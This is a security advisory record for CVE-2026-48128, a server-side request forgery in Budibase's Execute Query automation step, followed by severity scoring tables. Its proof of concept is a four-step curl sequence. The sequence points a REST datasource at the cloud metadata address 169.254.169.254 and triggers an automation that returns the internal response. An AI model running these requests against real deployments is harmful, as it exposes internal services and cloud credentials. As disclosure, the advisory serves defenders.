Advisory details:
github_osv / GHSA-6964-pp88-6wp9
| Advisory ID | github_osv/GHSA-6964-pp88-6wp9 |
| Aliases |
CVE-2026-48128
|
| Summary | Budibase: SSRF via User-Controlled queryId in Automation Execute Query Step ### Summary The executeQuery automation step in Budibase accepts a queryId from automation step inputs and passes it directly to the query execution controller without additional validation. When combined with a REST datasource configured to target internal infrastructure, this creates a server-side request forgery path where automation execution causes the Budibase server to make outbound HTTP requests to attacker-influenced destinations. The automation output then returns the response, potentially exposing internal service data. ### Details Inside the execute query automation step, the queryId value and any additional query parameters from `inputs.query` are assembled into a request context and forwarded to `queryController.executeV2AsAutomation`. The constructed context looks like the following: ```typescript const ctx: any = buildCtx(appId, emitter, { body: { parameters: rest, }, params: { queryId, }, user: context.user, }) ``` No validation is performed to confirm that the referenced query is appropriate for automation use, that the associated datasource targets an allowlisted destination, or that the supplied parameters do not override security-sensitive fields. The `context.user` value is also forwarded directly from automation context into the request, which may allow caller identity to be influenced by automation binding inputs. To reach exploitation, an attacker needs builder-level access to the Budibase application. With that access, they can create a REST datasource with a base URL pointing to an internal network endpoint such as a cloud metadata service, create a query against that datasource, and then create an automation whose Execute Query step references that query. When the automation is triggered, the Budibase server issues the HTTP request originating from its own network context, and the response is captured in the automation output. The key limitation, reflected in the revised severity, is that builder access already permits direct datasource configuration. A builder can configure a REST datasource and test it directly without involving the automation layer at all. The automation execute query path therefore does not provide a meaningful privilege escalation beyond what a builder role already permits. The finding is technically valid as an SSRF condition but the preconditions required to exploit it are equivalent to the preconditions for directly interacting with datasources. ### PoC ```bash curl -s -X POST "$BUDIBASE_HOST/api/datasources" \ -H "Cookie: $SESSION_COOKIE" \ -H "Content-Type: application/json" \ -d '{ "datasource": { "name": "internal-meta", "type": "REST", "source": "REST", "config": { "url": "http://169.254.169.254", "rejectUnauthorized": false, "defaultHeaders": {} } } }' curl -s -X POST "$BUDIBASE_HOST/api/queries" \ -H "Cookie: $SESSION_COOKIE" \ -H "Content-Type: application/json" \ -d "{ \"datasourceId\": \"$DATASOURCE_ID\", \"name\": \"meta-probe\", \"queryVerb\": \"read\", \"fields\": { \"path\": \"/latest/meta-data/\", \"queryString\": \"\", \"headers\": {}, \"requestBody\": \"\" }, \"parameters\": [], \"transformer\": \"return data\", \"schema\": {} }" curl -s -X POST "$BUDIBASE_HOST/api/automations" \ -H "Cookie: $SESSION_COOKIE" \ -H "Content-Type: application/json" \ -d "{ \"name\": \"ssrf-test\", \"definition\": { \"trigger\": { \"event\": \"app:trigger\", \"stepId\": \"APP\", \"inputs\": {}, \"schema\": {\"inputs\": {\"properties\": {}, \"required\": []}}, \"type\": \"TRIGGER\", \"id\": \"trigger1\" }, \"steps\": [ { \"stepId\": \"EXECUTE_QUERY\", \"inputs\": { \"query\": { \"queryId\": \"$QUERY_ID\" } }, \"schema\": {}, \"type\": \"ACTION\", \"id\": \"step1\" } ] } }" curl -s -X POST "$BUDIBASE_HOST/api/automations/$AUTOMATION_ID/trigger" \ -H "Cookie: $SESSION_COOKIE" \ -H "Content-Type: application/json" \ -d '{}' ``` ### Impact An authenticated user with builder-level access to a Budibase application can cause the Budibase server to issue HTTP requests to internal network endpoints, including cloud instance metadata services, by configuring a REST datasource targeting those endpoints and referencing the resulting query from an automation Execute Query step. Response content from the internal service is returned in the automation run output. Because builder access already permits direct datasource configuration and testing, this path does not represent a meaningful escalation of privilege beyond the builder role. The practical impact is limited to environments where builder access is granted to partially trusted users and where network-level controls do not restrict outbound HTTP from the Budibase server process. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 4.6 |
| Risk | 2.3 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv4 | 5.1 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-6964-pp88-6wp9/GHSA-6964-pp88-6wp9.json |
| generic_textual | MODERATE |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/Budibase/budibase | ||
| CVE-2026-48128 | https://nvd.nist.gov/vuln/detail/CVE-2026-48128 | |
| GHSA-6964-pp88-6wp9 | Other | https://github.com/Budibase/budibase/security/advisories/GHSA-6964-pp88-6wp9 |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-05-27T18:30:53Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/48xxx/CVE-2026-48128.json
Source Advisory: vulnrichment/CVE-2026-48128
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]